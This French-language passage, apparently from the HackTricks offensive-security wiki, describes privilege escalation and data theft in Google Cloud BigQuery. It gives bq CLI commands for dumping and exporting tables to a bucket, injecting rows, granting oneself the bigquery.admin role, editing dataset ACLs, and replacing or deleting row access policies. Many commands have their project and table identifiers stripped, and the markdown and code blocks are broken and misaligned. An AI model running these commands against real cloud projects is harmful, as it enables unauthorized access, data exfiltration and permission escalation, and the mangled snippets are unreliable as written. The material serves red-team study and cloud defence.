GCP - BigQuery Privesc

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

BigQuery

Pour plus d’informations sur BigQuery, consultez :

GCP - Bigquery Enum

Lire la table

La lecture des informations stockées dans une table BigQuery peut permettre de trouver des informations sensibles. Pour accéder à ces informations, les permissions nécessaires sont bigquery.tables.get, bigquery.jobs.create et bigquery.tables.getData :

Lire les données d'une table BigQuery ```bash bq head . bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000' ```

Exporter des données

Ceci est une autre façon d’accéder aux données. Exportez-les vers un cloud storage bucket et téléchargez les fichiers contenant les informations.
Pour effectuer cette action, les permissions suivantes sont nécessaires : bigquery.tables.export, bigquery.jobs.create et storage.objects.create.

Exporter une table BigQuery vers Cloud Storage ```bash bq extract .
"gs:///table*.csv" ```

Insérer des données

Il pourrait être possible d’introduire certaines données de confiance dans une table BigQuery pour abuser d’une vulnerability ailleurs. Cela peut être fait facilement avec les permissions bigquery.tables.get, bigquery.tables.updateData et bigquery.jobs.create :

Insérer des données dans une table BigQuery ```bash # Via query bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

Via insert param

bq insert dataset.table /tmp/mydata.json

</details>

### `bigquery.datasets.setIamPolicy`

Un attaquant pourrait abuser de ce privilège pour **s'octroyer des autorisations supplémentaires** sur un BigQuery dataset :

<details>
<summary>Définir la politique IAM sur un BigQuery dataset</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Cette permission seule permet de mettre à jour votre accès à un dataset BigQuery en modifiant les ACLs qui indiquent qui peut y accéder :

Mettre à jour les ACLs du dataset BigQuery ```bash # Download current permissions, reqires bigquery.datasets.get bq show --format=prettyjson : > acl.json ## Give permissions to the desired user bq update --source acl.json : ## Read it with bq head $PROJECT_ID:.
```

bigquery.tables.setIamPolicy

Un attaquant pourrait abuser de ce privilège pour s’octroyer davantage d’autorisations sur une table BigQuery:

Définir la politique IAM sur une table BigQuery ```bash # For this you also need bigquery.tables.setIamPolicy bq add-iam-policy-binding \ --member='user:' \ --role='roles/bigquery.admin' \ :.

use the set-iam-policy if you don’t have bigquery.tables.setIamPolicy

</details>

### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`

D'après la documentation, avec les permissions mentionnées il est possible de **mettre à jour une row policy.**\
Cependant, **en utilisant le CLI `bq`** vous avez besoin de permissions supplémentaires : **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.

<details>
<summary>Créer ou remplacer row access policy</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

Il est possible de trouver le filter ID dans la sortie de la row policies enumeration. Exemple :

List row access policies ```bash bq ls --row_access_policies :.

Id Filter Predicate Grantees Creation Time Last Modified Time


apac_filter term = “Cfba” user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09

</details>

Si vous avez **`bigquery.rowAccessPolicies.delete`** au lieu de `bigquery.rowAccessPolicies.update`, vous pouvez aussi simplement supprimer la row access policy :

<details>
<summary>Delete row access policies</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Caution

Une autre option possible pour bypass les politiques d’accès par ligne serait simplement de modifier la valeur des données restreintes. Si vous ne pouvez voir que lorsque term est Cfba, modifiez simplement tous les enregistrements de la table pour avoir term = "Cfba". Cependant, ceci est empêché par bigquery.

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks